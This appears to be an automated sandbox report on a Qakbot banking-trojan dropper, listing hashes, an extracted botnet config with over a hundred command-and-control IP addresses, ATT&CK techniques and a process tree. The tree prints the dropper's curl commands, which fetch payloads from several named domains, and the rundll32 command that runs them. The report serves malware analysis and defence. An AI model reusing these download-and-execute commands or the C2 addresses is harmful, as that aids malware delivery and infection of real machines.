qakbot | 1d8104a02bbc8c8563a69cd9fc56bf4814dd840505a25c5ad05eb2025d8a1857

Analysis

max time kernel
149s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
15/06/2023, 07:12

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
CalculationOfCosts-1766400839.js
Size 464KB
Sample230615-h1p3esfa72
SHA256 1d8104a02bbc8c8563a69cd9fc56bf4814dd840505a25c5ad05eb2025d8a1857
MD5 600c11d4c21d42a3f7ea3434918f6f95
SHA1 c633a338e4086a7dfa9c85b104e7b9e060b4f00c
SHA512 cc6bed606444179e9eb967d7c24ec1c509f90384447805abb06ecd44bb3a53f04489aa0171a73d33cd807d745965bd21227ede7d36030c6799ac3e9ef54fd883
SSDEEP 6144:LmFamddP19SiU+g9ITla9MGNs9yec26VZU6BboaI7CRY7kkhN:oLU3+gPZUW0t
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

qakbot obama268 1686733312 banker stealer trojan

Malware Config

Extracted

Family

qakbot

Version

404.1374

Botnet

obama268

Campaign

1686733312

125.99.76.102:443
80.12.88.148:2222
109.149.147.195:2222
27.99.32.26:2222
70.28.50.223:3389
70.28.50.223:32100
86.97.96.62:2222
66.241.183.99:443
74.12.146.45:2222
190.199.147.209:2222
47.205.25.170:443
12.172.173.82:993
12.172.173.82:22
84.35.26.14:995
72.134.124.16:443
85.240.173.251:2078
50.68.186.195:443
65.190.242.244:443
45.62.75.217:443
203.109.44.236:995
174.58.146.57:443
105.184.159.9:995
94.207.115.105:443
197.0.146.211:443
197.204.11.218:443
92.9.45.20:2222
91.169.12.198:32100
12.172.173.82:20
70.64.77.115:443
71.31.9.49:995
24.234.220.88:990
95.45.50.93:2222
213.91.235.146:443
189.223.184.79:443
213.64.33.92:2222
47.34.30.133:443
70.28.50.223:2087
12.172.173.82:465
67.219.197.94:443
103.140.174.20:2222
12.172.173.82:995
90.29.86.138:2222
37.14.229.220:2222
89.181.227.42:2222
62.35.230.21:995
70.160.67.203:443
88.126.94.4:50000
203.219.204.180:443
147.219.4.194:443
92.20.204.198:2222
24.234.220.88:993
188.28.19.84:443
89.115.200.234:443
67.87.119.216:2083
86.98.222.20:443
161.142.100.114:995
103.139.242.6:443
103.123.223.153:443
24.234.220.88:995
102.158.231.164:443
175.156.65.126:2222
41.227.190.59:443
178.175.187.254:443
180.151.13.23:2078
12.172.173.82:50001
116.75.63.143:443
74.12.146.45:2083
78.192.109.105:2222
37.186.55.8:2222
121.121.100.202:995
104.35.24.154:443
199.27.66.213:443
181.165.19.254:443
81.229.117.95:2222
12.172.173.82:21
45.2.61.134:3389
162.248.14.107:443
103.212.19.254:995
2.82.8.80:443
103.144.201.63:2078
114.143.176.237:443
103.113.68.33:443
77.126.99.230:443
47.21.51.138:443
197.86.195.10:443
36.152.128.2:2222
12.172.173.82:32101
86.248.228.57:2078
92.149.250.113:2222
70.28.50.223:1194
82.127.153.75:2222
78.159.145.7:995
82.125.44.236:2222
24.234.220.88:465
64.121.161.102:443
187.199.244.117:32103
122.184.143.86:443
79.168.224.165:2222
65.30.139.145:995
151.62.174.154:443
124.122.47.148:443
31.190.240.11:443
92.239.81.124:443
31.53.29.210:2222
172.115.17.50:443
70.28.50.223:2083
124.149.143.189:2222
176.142.207.63:443
201.244.108.183:995
47.199.241.39:443
98.4.43.111:443
91.68.227.219:443
89.129.109.27:2222
67.87.119.216:2078
86.195.14.72:2222
72.205.104.134:443
1.221.179.74:443
58.162.223.233:443
49.175.72.81:443

Signatures

Qakbot/Qbot
Qbot or Qakbot is a sophisticated worm with banking capabilities.
trojan banker stealer qakbot
Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2548970870-3691742953-3895070203-1000\Control Panel\International\Geo\Nation	wscript.exe

Loads dropped DLL 1 IoCs

pid	Process
5068	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4368	timeout.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5068	rundll32.exe
5068	rundll32.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe
4624	wermgr.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 4240 wrote to memory of 3512	4240	wscript.exe	91
PID 4240 wrote to memory of 3512	4240	wscript.exe	91
PID 4240 wrote to memory of 5112	4240	wscript.exe	93
PID 4240 wrote to memory of 5112	4240	wscript.exe	93
PID 4240 wrote to memory of 5104	4240	wscript.exe	95
PID 4240 wrote to memory of 5104	4240	wscript.exe	95
PID 4240 wrote to memory of 5028	4240	wscript.exe	98
PID 4240 wrote to memory of 5028	4240	wscript.exe	98
PID 3512 wrote to memory of 4360	3512	cmd.exe	97
PID 3512 wrote to memory of 4360	3512	cmd.exe	97
PID 4240 wrote to memory of 4652	4240	wscript.exe	100
PID 4240 wrote to memory of 4652	4240	wscript.exe	100
PID 4240 wrote to memory of 3140	4240	wscript.exe	101
PID 4240 wrote to memory of 3140	4240	wscript.exe	101
PID 4240 wrote to memory of 2800	4240	wscript.exe	104
PID 4240 wrote to memory of 2800	4240	wscript.exe	104
PID 5112 wrote to memory of 4536	5112	cmd.exe	106
PID 5112 wrote to memory of 4536	5112	cmd.exe	106
PID 5104 wrote to memory of 3844	5104	cmd.exe	107
PID 5104 wrote to memory of 3844	5104	cmd.exe	107
PID 5028 wrote to memory of 4860	5028	cmd.exe	108
PID 5028 wrote to memory of 4860	5028	cmd.exe	108
PID 4652 wrote to memory of 4056	4652	cmd.exe	109
PID 4652 wrote to memory of 4056	4652	cmd.exe	109
PID 3140 wrote to memory of 968	3140	cmd.exe	110
PID 3140 wrote to memory of 968	3140	cmd.exe	110
PID 2800 wrote to memory of 4368	2800	cmd.exe	111
PID 2800 wrote to memory of 4368	2800	cmd.exe	111
PID 2800 wrote to memory of 1640	2800	cmd.exe	112
PID 2800 wrote to memory of 1640	2800	cmd.exe	112
PID 1640 wrote to memory of 5068	1640	rundll32.exe	113
PID 1640 wrote to memory of 5068	1640	rundll32.exe	113
PID 1640 wrote to memory of 5068	1640	rundll32.exe	113
PID 5068 wrote to memory of 4624	5068	rundll32.exe	114
PID 5068 wrote to memory of 4624	5068	rundll32.exe	114
PID 5068 wrote to memory of 4624	5068	rundll32.exe	114
PID 5068 wrote to memory of 4624	5068	rundll32.exe	114
PID 5068 wrote to memory of 4624	5068	rundll32.exe	114
PID 5068 wrote to memory of 4624	5068	rundll32.exe	114

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\CalculationOfCosts-1766400839.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4240
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c mkdir C:\Koltes\Fertiol & curl https://rapiska.com/0.19145596810370952.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3512
- - C:\Windows\system32\curl.exe
    curl https://rapiska.com/0.19145596810370952.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
    3⤵
    PID:4360
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c mkdir C:\Koltes\Fertiol & curl https://tamimak.com/0.07572100526801406.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5112
- - C:\Windows\system32\curl.exe
    curl https://tamimak.com/0.07572100526801406.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
    3⤵
    PID:4536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c mkdir C:\Koltes\Fertiol & curl https://corfinka.com/0.1854873732731967.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5104
- - C:\Windows\system32\curl.exe
    curl https://corfinka.com/0.1854873732731967.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
    3⤵
    PID:3844
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c mkdir C:\Koltes\Fertiol & curl https://qderika.com/0.03592259831734895.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5028
- - C:\Windows\system32\curl.exe
    curl https://qderika.com/0.03592259831734895.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
    3⤵
    PID:4860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c mkdir C:\Koltes\Fertiol & curl https://bilaska.com/0.713934454387139.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4652
- - C:\Windows\system32\curl.exe
    curl https://bilaska.com/0.713934454387139.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
    3⤵
    PID:4056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c mkdir C:\Koltes\Fertiol & curl https://nirause.com/0.7227422032041256.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3140
- - C:\Windows\system32\curl.exe
    curl https://nirause.com/0.7227422032041256.dat --output C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
    3⤵
    PID:968
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c timeout 10 & rundll32 C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX,must
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2800
- - C:\Windows\system32\timeout.exe
    timeout 10
    3⤵
    - Delays execution with timeout.exe
    PID:4368
- - C:\Windows\system32\rundll32.exe
    rundll32 C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX,must
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1640
  - - C:\Windows\SysWOW64\rundll32.exe
      rundll32 C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX,must
      4⤵
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:5068
    - - C:\Windows\SysWOW64\wermgr.exe
        
        C:\Windows\SysWOW64\wermgr.exe
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4624

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Floster.OOOOCCCCCXXXXX

Path C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
Size 12KB
SHA256 cb2ab390ffd1a923008f95abaf34fd8c5ff186264e925ec32ef3616780b81060
MD5 2313a8e859366ccf938d9673a3e5d0bd
SHA1 94fa9d26dda046c753c89df51eec21e681b7e516
SHA512 4400692bb7b6e2dd4b36ea1c8e37ec8ae9a9cfa6c2b541990afdb36a86b2bc30b8900a13c5a757781b7a79cdd6f6b5170ac7968746d9fb90fdaf10c245de9474
SSDEEP 192:GNaH2ZYRLqhcM+YIU5VRnLbnSV2z6d+gz3FBWlKVDDwn20N3n8:GNI2UOSLY/emEBwKNc205n8
MD5 SHA1 SHA512 SSDEEP

Submit Download

Floster.OOOOCCCCCXXXXX

Path C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
Size 12KB
SHA256 cb2ab390ffd1a923008f95abaf34fd8c5ff186264e925ec32ef3616780b81060
MD5 2313a8e859366ccf938d9673a3e5d0bd
SHA1 94fa9d26dda046c753c89df51eec21e681b7e516
SHA512 4400692bb7b6e2dd4b36ea1c8e37ec8ae9a9cfa6c2b541990afdb36a86b2bc30b8900a13c5a757781b7a79cdd6f6b5170ac7968746d9fb90fdaf10c245de9474
SSDEEP 192:GNaH2ZYRLqhcM+YIU5VRnLbnSV2z6d+gz3FBWlKVDDwn20N3n8:GNI2UOSLY/emEBwKNc205n8
MD5 SHA1 SHA512 SSDEEP

Submit Download

Floster.OOOOCCCCCXXXXX

Path C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
Size 28KB
SHA256 a16847ad38b3fe738ac6bbaabeb0965e44f406bb9ded6455043e9a0d8eb97180
MD5 630f9a72692810a09c496e4c474f0e67
SHA1 019149c1463b3391dccd87dfca61e59eb440b3ef
SHA512 9874a9ccac847107b9cff5c80b101940aedbb5f8ee0371c7245988bbbbca5f71d87a2e1c05b3873a4971319b9f961798085c08005ae08eb359eb4bae547f3786
SSDEEP 768:X2UOkY/emEuN51RfWHdCGu79GUiVxNkvEyN:acmES1Ri6iVr2R
MD5 SHA1 SHA512 SSDEEP

Submit Download

Floster.OOOOCCCCCXXXXX

Path C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
Size 12KB
SHA256 cb2ab390ffd1a923008f95abaf34fd8c5ff186264e925ec32ef3616780b81060
MD5 2313a8e859366ccf938d9673a3e5d0bd
SHA1 94fa9d26dda046c753c89df51eec21e681b7e516
SHA512 4400692bb7b6e2dd4b36ea1c8e37ec8ae9a9cfa6c2b541990afdb36a86b2bc30b8900a13c5a757781b7a79cdd6f6b5170ac7968746d9fb90fdaf10c245de9474
SSDEEP 192:GNaH2ZYRLqhcM+YIU5VRnLbnSV2z6d+gz3FBWlKVDDwn20N3n8:GNI2UOSLY/emEBwKNc205n8
MD5 SHA1 SHA512 SSDEEP

Submit Download

Floster.OOOOCCCCCXXXXX

Path C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
Size 12KB
SHA256 cb2ab390ffd1a923008f95abaf34fd8c5ff186264e925ec32ef3616780b81060
MD5 2313a8e859366ccf938d9673a3e5d0bd
SHA1 94fa9d26dda046c753c89df51eec21e681b7e516
SHA512 4400692bb7b6e2dd4b36ea1c8e37ec8ae9a9cfa6c2b541990afdb36a86b2bc30b8900a13c5a757781b7a79cdd6f6b5170ac7968746d9fb90fdaf10c245de9474
SSDEEP 192:GNaH2ZYRLqhcM+YIU5VRnLbnSV2z6d+gz3FBWlKVDDwn20N3n8:GNI2UOSLY/emEBwKNc205n8
MD5 SHA1 SHA512 SSDEEP

Submit Download

Floster.OOOOCCCCCXXXXX

Path C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
Size 246KB
SHA256 8d2a5d729284acc67ff1baa1161a1a5458847e12fe7d021de2ac553c96a17c59
MD5 df3fc74eba690c2617d8f0ae75203d49
SHA1 e9fad41a54a2e34cbea99a5141e02c70610b832d
SHA512 d73f6680d51a37ad76327c31b11575e618756d7f4c51326e053cadf0a5c42dc457c38b08619c9d0590a84b3be2f20a4c146fe5d830913fd4af2e25afdf28f174
SSDEEP 6144:cRixgWEZ5Txh9QQU7kVTAHluobjrA3XqpyNj7R5o9nPz7gS1TzW:cRwBEZp11EFcUTzW
MD5 SHA1 SHA512 SSDEEP

Submit Download

Floster.OOOOCCCCCXXXXX

Path C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
Size 246KB
SHA256 2973be044d7c1721120836c0d3dc811093bebec4a12fb26d55d0e66409358142
MD5 6a0b408bd381841bfdce64053a40e4b9
SHA1 23d6e2174e9f94ed89016e83d8a8cd47229a5316
SHA512 8a05e24d6651917e079739863187c9a2e5c44c4decacc9bcafbbc084974212d152b27f6057cb60c86ec6fa6e1a83aa455655f82cde7f51031aa2bfa7781ec74d
SSDEEP 6144:cRixgWEZ5Txh9QQU7kVTAHluobjrA3XqpyNj7R5o9nPz7gS1TzL:cRwBEZp11EFcUTzL
MD5 SHA1 SHA512 SSDEEP

Submit Download

Floster.OOOOCCCCCXXXXX

Path C:\Koltes\Fertiol\Floster.OOOOCCCCCXXXXX
Size 246KB
SHA256 2973be044d7c1721120836c0d3dc811093bebec4a12fb26d55d0e66409358142
MD5 6a0b408bd381841bfdce64053a40e4b9
SHA1 23d6e2174e9f94ed89016e83d8a8cd47229a5316
SHA512 8a05e24d6651917e079739863187c9a2e5c44c4decacc9bcafbbc084974212d152b27f6057cb60c86ec6fa6e1a83aa455655f82cde7f51031aa2bfa7781ec74d
SSDEEP 6144:cRixgWEZ5Txh9QQU7kVTAHluobjrA3XqpyNj7R5o9nPz7gS1TzL:cRwBEZp11EFcUTzL
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/4624-159-0x0000000000630000-0x0000000000654000-memory.dmp

Download

memory/4624-152-0x0000000000660000-0x0000000000662000-memory.dmp

Download

memory/4624-153-0x0000000000630000-0x0000000000654000-memory.dmp

Download

memory/4624-161-0x0000000000630000-0x0000000000654000-memory.dmp

Download

memory/4624-162-0x0000000000630000-0x0000000000654000-memory.dmp

Download

memory/4624-163-0x0000000000630000-0x0000000000654000-memory.dmp

Download

memory/4624-164-0x0000000000630000-0x0000000000654000-memory.dmp

Download

memory/5068-147-0x0000000010000000-0x0000000010024000-memory.dmp

Download

memory/5068-146-0x0000000000890000-0x0000000000893000-memory.dmp

Download

memory/5068-160-0x00000000647C0000-0x0000000064802000-memory.dmp

Download